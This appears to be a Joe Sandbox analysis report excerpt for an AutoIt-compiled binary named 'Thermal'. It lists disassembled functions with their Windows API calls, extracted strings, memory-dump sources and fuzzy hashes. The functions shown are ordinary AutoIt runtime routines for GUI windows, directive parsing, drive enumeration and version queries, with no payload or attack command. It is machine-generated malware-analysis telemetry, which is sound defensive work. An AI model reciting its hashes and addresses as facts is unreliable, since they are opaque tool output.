DestroyIcon.USER32(00000000,?,?,?), ref: 001230CE
DestroyWindow.USER32(00000000,?,?,?), ref: 001230D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 0015C77C
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 0015C7B5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0015CBDE

Part of subcall function 00121F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00122412,?,00000000,?,?,?,?,00121AA7,00000000,?), ref: 00121F76

SendMessageW.USER32(?,00001053), ref: 0015CC1B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 0015CC32
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0015CC48
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 0015CC53

Strings

0, xrefs: 0015CA72

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 6fc83de00bf514b3ad0fea70ad66d6c3a40a3523b2bce168b9780a3905c49da5
Instruction ID: dca4551b70d65895d059a1835b1c7a436a52c1fedab9a0dad6132ea72fa625d6
Opcode Fuzzy Hash: 6fc83de00bf514b3ad0fea70ad66d6c3a40a3523b2bce168b9780a3905c49da5
Instruction Fuzzy Hash: CE128E30604311EFDB25CF24D884BAABBA1BF18301F144669F965CF662D731ED99CBA1

Function 001327FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00140FE6: std::exception::exception.LIBCMT ref: 0014101C
Part of subcall function 00140FE6: __CxxThrowException@8.LIBCMT ref: 00141031

__wcsnicmp.LIBCMT ref: 0013286A
__wcsnicmp.LIBCMT ref: 0013287E
__wcsnicmp.LIBCMT ref: 00132896
__wcsnicmp.LIBCMT ref: 001328AE
__wcsnicmp.LIBCMT ref: 001328C6
__wcsnicmp.LIBCMT ref: 001328DE
__wcsnicmp.LIBCMT ref: 001328F6
__wcsnicmp.LIBCMT ref: 0013290A
__wcsnicmp.LIBCMT ref: 00132948
__wcsnicmp.LIBCMT ref: 0013295C
__wcsnicmp.LIBCMT ref: 00132970
__wcsnicmp.LIBCMT ref: 00132984

Strings

#requireadmin, xrefs: 00132890
#comments-end, xrefs: 0013296A
#comments-start, xrefs: 001328F0, 00132942
#include, xrefs: 001328D8
#cs, xrefs: 00132904, 00132956
#notrayicon, xrefs: 00132878
", xrefs: 0016FB89
Cannot parse #include, xrefs: 0016FCE5
', xrefs: 0016FB9F
Bad directive syntax error, xrefs: 0016FBD3, 0016FBF0
#pragma compile, xrefs: 00132864
#ce, xrefs: 0013297E
#include-once, xrefs: 001328C0
Unterminated group of comments, xrefs: 0016FCFA
#OnAutoItStartRegister, xrefs: 001328A8

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: c492c7cf885805c5924325c6fcf07790dfdfff624b98362fbbf8ce8c7cac4068
Instruction ID: 30180d25d677b1fa05f7ee9b08dd38d76f0f8a4178b323dc4ddb9bfd8dd28c1b
Opcode Fuzzy Hash: c492c7cf885805c5924325c6fcf07790dfdfff624b98362fbbf8ce8c7cac4068
Instruction Fuzzy Hash: 17A1CF31A00209BBCB24FF60DC52FBE37B8AF55740F104069F915AB2A2EB719E51D790

Function 00197B95 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00197BC8
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00197C87
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00197CC5
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00197CD7
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00197D1D
GetClientRect.USER32(00000000,?), ref: 00197D29
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00197D6D
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00197D7C
GetStockObject.GDI32(00000011), ref: 00197D8C
SelectObject.GDI32(00000000,00000000), ref: 00197D90
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00197DA0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00197DA9
DeleteDC.GDI32(00000000), ref: 00197DB2
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00197DDE
SendMessageW.USER32(00000030,00000000,00000001), ref: 00197DF5
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00197E30
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00197E44
SendMessageW.USER32(00000404,00000001,00000000), ref: 00197E55
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00197E85
GetStockObject.GDI32(00000011), ref: 00197E90
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00197E9B
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00197EA5

Strings

AutoIt v3, xrefs: 00197D15
static, xrefs: 00197D67, 00197E7F
msctls_progress32, xrefs: 00197E26
DISPLAY, xrefs: 00197D72

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: e1c5864508c007017e16eaaf5677ae781d54edb21ae38dff727ccd6ae885a486
Instruction ID: 4b3b5c80cbf8edc34eb25e135f73611688ee3d14c3ff5468d5a5914bb2bf8272
Opcode Fuzzy Hash: e1c5864508c007017e16eaaf5677ae781d54edb21ae38dff727ccd6ae885a486
Instruction Fuzzy Hash: DCA15F71A00615BFEB159BA4DC8AFAF7B79EB08750F044214FA15AB6E0C770AD40CB64

Function 0018B353 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0018B361
GetDriveTypeW.KERNEL32(?,001B2C4C,?,\\.\,001B0980), ref: 0018B43E
SetErrorMode.KERNEL32(00000000,001B2C4C,?,\\.\,001B0980), ref: 0018B59C

Strings

Fixed, xrefs: 0018B486
Network, xrefs: 0018B47C
CDROM, xrefs: 0018B472
Fibre, xrefs: 0018B52C
\\.\, xrefs: 0018B3B3
ATAPI, xrefs: 0018B510
Virtual, xrefs: 0018B564
SSD, xrefs: 0018B4C9
SSA, xrefs: 0018B525
MMC, xrefs: 0018B55D
PhysicalDrive, xrefs: 0018B3EA
RAMDisk, xrefs: 0018B468
USB, xrefs: 0018B533
Unknown, xrefs: 0018B45E, 0018B502
FileBackedVirtual, xrefs: 0018B56B
iSCSI, xrefs: 0018B541
SATA, xrefs: 0018B54F
SCSI, xrefs: 0018B509
RAID, xrefs: 0018B53A
Removable, xrefs: 0018B490
ATA, xrefs: 0018B517
SAS, xrefs: 0018B548
1394, xrefs: 0018B51E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: ecf9e51dcdf810e549e630439ac970bacaaa13ab5dcf68f1a89ab2bbc5e890de
Instruction ID: 4ec68ca94155aaf851721d58d095bdfec58bdeaf76d168daeac901b078585eb3
Opcode Fuzzy Hash: ecf9e51dcdf810e549e630439ac970bacaaa13ab5dcf68f1a89ab2bbc5e890de
Instruction Fuzzy Hash: 2B517030B4C609EBCB04FB60C9C2ABD77A1AB54740B268116E407A77A1DB71AF41DF59

Function 001AA041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 001AA0F7
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 001AA1B0
SendMessageW.USER32(?,00001102,00000002,?), ref: 001AA1CC

Strings

0, xrefs: 001AA209

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 9c6c20905b5dc9c231d6deee1dcdd782c7ab8196bca59362e79b45e0b507df56
Instruction ID: 1e56254a3666e1af0cd6a4ae52147c431003809dbad1ff8790c71ba00b1cb385
Opcode Fuzzy Hash: 9c6c20905b5dc9c231d6deee1dcdd782c7ab8196bca59362e79b45e0b507df56
Instruction Fuzzy Hash: ED020078108301AFEB25CF14C848BABBBE4FF8A314F48861DF999962A1C775D954CF52

Function 001AAF18 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 001AAF51
SetTextColor.GDI32(?,?), ref: 001AAF55
GetSysColorBrush.USER32(0000000F), ref: 001AAF6B
GetSysColor.USER32(0000000F), ref: 001AAF76
CreateSolidBrush.GDI32(?), ref: 001AAF7B
GetSysColor.USER32(00000011), ref: 001AAF93
CreatePen.GDI32(00000000,00000001,00743C00), ref: 001AAFA1
SelectObject.GDI32(?,00000000), ref: 001AAFB2
SetBkColor.GDI32(?,00000000), ref: 001AAFBB
SelectObject.GDI32(?,?), ref: 001AAFC8
InflateRect.USER32(?,000000FF,000000FF), ref: 001AAFE7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 001AAFFE
GetWindowLongW.USER32(00000000,000000F0), ref: 001AB013
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 001AB05F
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 001AB086
InflateRect.USER32(?,000000FD,000000FD), ref: 001AB0A4
DrawFocusRect.USER32(?,?), ref: 001AB0AF
GetSysColor.USER32(00000011), ref: 001AB0BD
SetTextColor.GDI32(?,00000000), ref: 001AB0C5
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 001AB0D9
SelectObject.GDI32(?,001AAC1F), ref: 001AB0F0
DeleteObject.GDI32(?), ref: 001AB0FB
SelectObject.GDI32(?,?), ref: 001AB101
DeleteObject.GDI32(?), ref: 001AB106
SetTextColor.GDI32(?,?), ref: 001AB10C
SetBkColor.GDI32(?,?), ref: 001AB116

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: c56eb8ac8437e28da7adb51a8103d9c62739df29eff1bbd5152b4a59cf79c7d2
Instruction ID: 7f9696dc77e021fed51cc57bb6b1167721e1d54fca03900baebd2776ce16323c
Opcode Fuzzy Hash: c56eb8ac8437e28da7adb51a8103d9c62739df29eff1bbd5152b4a59cf79c7d2
Instruction Fuzzy Hash: B7616B71900218BFDF169FA8DC48AAFBB79EF09320F118215F915AB2A1D775D980CF90

Function 001A8FFA Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 001A90EA
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 001A90FB
CharNextW.USER32(0000014E), ref: 001A912A
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 001A916B
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 001A9181
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 001A9192
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 001A91AF
SetWindowTextW.USER32(?,0000014E), ref: 001A91FB
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 001A9211
SendMessageW.USER32(?,00001002,00000000,?), ref: 001A9242
_memset.LIBCMT ref: 001A9267
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 001A92B0
_memset.LIBCMT ref: 001A930F
SendMessageW.USER32(?,00001053,000000FF,?), ref: 001A9339
SendMessageW.USER32(?,00001074,?,00000001), ref: 001A9391
SendMessageW.USER32(?,0000133D,?,?), ref: 001A943E
InvalidateRect.USER32(?,00000000,00000001), ref: 001A9460
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 001A94AA
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 001A94D7
DrawMenuBar.USER32(?), ref: 001A94E6
SetWindowTextW.USER32(?,0000014E), ref: 001A950E

Strings

0, xrefs: 001A9478

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: bd55da49be845616bea8ca7260c67c25bc36d70ee7062a6d08b4b7e39ff458fb
Instruction ID: df1c09050e4c3ced1368313a4b0d7f4ca8351944a6b0cd4f1175dbeca6ce0468
Opcode Fuzzy Hash: bd55da49be845616bea8ca7260c67c25bc36d70ee7062a6d08b4b7e39ff458fb
Instruction Fuzzy Hash: 22E1AF78900218AFDF219F51CC89EEF7BB8EF1A750F108156F915AA291D7708AC1DF61

Function 001A4ECC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 001A5007
GetDesktopWindow.USER32 ref: 001A501C
GetWindowRect.USER32(00000000), ref: 001A5023
GetWindowLongW.USER32(?,000000F0), ref: 001A5085
DestroyWindow.USER32(?), ref: 001A50B1
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 001A50DA
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 001A50F8
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 001A511E
SendMessageW.USER32(?,00000421,?,?), ref: 001A5133
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 001A5146
IsWindowVisible.USER32(?), ref: 001A5166
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 001A5181
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 001A5195
GetWindowRect.USER32(?,?), ref: 001A51AD
MonitorFromPoint.USER32(?,?,00000002), ref: 001A51D3
GetMonitorInfoW.USER32(00000000,?), ref: 001A51ED
CopyRect.USER32(?,?), ref: 001A5204
SendMessageW.USER32(?,00000412,00000000), ref: 001A526F

Strings

tooltips_class32, xrefs: 001A50D3
(, xrefs: 001A51E0
0, xrefs: 001A4FB2

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 6854c7eb1fe3de6a56c9930abf7281b7ecb76254a68269c07ecf2e3bb02fd6ee
Instruction ID: 024ca9563c88aff6b51236ce3f4a1011a18558299d964fbd725c439b4472ace5
Opcode Fuzzy Hash: 6854c7eb1fe3de6a56c9930abf7281b7ecb76254a68269c07ecf2e3bb02fd6ee
Instruction Fuzzy Hash: 69B1A970608700AFDB04DF64D984B6BBBE6FF89310F008A1DF5999B291DB71E845CB92

Function 0018498A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0018499C
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 001849C2
_wcscpy.LIBCMT ref: 001849F0
_wcscmp.LIBCMT ref: 001849FB
_wcscat.LIBCMT ref: 00184A11
_wcsstr.LIBCMT ref: 00184A1C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00184A38
_wcscat.LIBCMT ref: 00184A81
_wcscat.LIBCMT ref: 00184A88
_wcsncpy.LIBCMT ref: 00184AB3

Strings

StringFileInfo\, xrefs: 00184A0B
\VarFileInfo\Translation, xrefs: 00184A30
%u.%u.%u.%u, xrefs: 00184B16
DefaultLangCodepage, xrefs: 00184A9B
04090000, xrefs: 00184A6E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 7d9ee2241e0935a0355f14ba6b84930399906a58f4eaf67ddcf5051522bb178b
Instruction ID: 98306259092e163c666dca7d7d24701b227851ad388b25370aea324ea866c755
Opcode Fuzzy Hash: 7d9ee2241e0935a0355f14ba6b84930399906a58f4eaf67ddcf5051522bb178b
Instruction Fuzzy Hash: 6E411872604205BBDB15B7708C43EBF7BACDF55720F000159F905A71A2EF34EA419BA5

Function 00122BA9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00122C8C
GetSystemMetrics.USER32(00000007), ref: 00122C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00122CBF
GetSystemMetrics.USER32(00000008), ref: 00122CC7
GetSystemMetrics.USER32(00000004), ref: 00122CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00122D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00122D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00122D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00122D60
GetClientRect.USER32(00000000,000000FF), ref: 00122D7E
GetStockObject.GDI32(00000011), ref: 00122D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 00122DA5

Part of subcall function 00122714: GetCursorPos.USER32(?), ref: 00122727
Part of subcall function 00122714: ScreenToClient.USER32(001E77B0,?), ref: 00122744
Part of subcall function 00122714: GetAsyncKeyState.USER32(00000001), ref: 00122769
Part of subcall function 00122714: GetAsyncKeyState.USER32(00000002), ref: 00122777

SetTimer.USER32(00000000,00000000,00000028,001213C7), ref: 00122DCC

Strings

AutoIt v3 GUI, xrefs: 00122D44

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 1ff7683f75de36e12514d9dfa5aae9202ab7ebdc53bd8563b77e5e75060666aa
Instruction ID: 8914fbced615511a0ecb78827b451bdd840bec6208808f4dbe9e65c7771de473
Opcode Fuzzy Hash: 1ff7683f75de36e12514d9dfa5aae9202ab7ebdc53bd8563b77e5e75060666aa
Instruction Fuzzy Hash: 10B17F71A0021AEFDB15DFA8EC89FAE77B4FB18311F114225FA15AB690DB70A850CF50

Function 00140429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 00131821: _memmove.LIBCMT ref: 0013185B

GetForegroundWindow.USER32(001B0980,?,?,?,?,?), ref: 001404E3
IsWindow.USER32(?), ref: 001766BB

Strings

REGEXPTITLE, xrefs: 001764B4
ACTIVE, xrefs: 00176488
HANDLE, xrefs: 0017649E
TITLE, xrefs: 00176650
CLASS, xrefs: 001764E5
LAST, xrefs: 00176472
REGEXPCLASS, xrefs: 00176506
ALL, xrefs: 00176622
INSTANCE, xrefs: 001765FA

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 6474676bb0f51a6b7abf46993a3e74b8ee94db7513d93d4a1e2775e209c63167
Instruction ID: fa03d3783b6f5b6285a4a21e9c77990d7d0fa22b750b3fecb83bd34a6d413c46
Opcode Fuzzy Hash: 6474676bb0f51a6b7abf46993a3e74b8ee94db7513d93d4a1e2775e209c63167
Instruction Fuzzy Hash: 4FD1F570104B02EFCB09EF60C48199ABBB5BF68344F508A1DF599576A2DB30F959CB92

Function 001A441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 001A44AC
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 001A456C

Strings

GETTEXT, xrefs: 001A4515
GETSUBITEMCOUNT, xrefs: 001A44F7
SELECT, xrefs: 001A4606
VIEWCHANGE, xrefs: 001A472B
SELECTINVERT, xrefs: 001A463C
FINDITEM, xrefs: 001A46DF
GETSELECTED, xrefs: 001A469A
DESELECT, xrefs: 001A465A
ISSELECTED, xrefs: 001A4577
GETSELECTEDCOUNT, xrefs: 001A454F
GETITEMCOUNT, xrefs: 001A44DE
SELECTCLEAR, xrefs: 001A45EB
SELECTALL, xrefs: 001A45D3

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
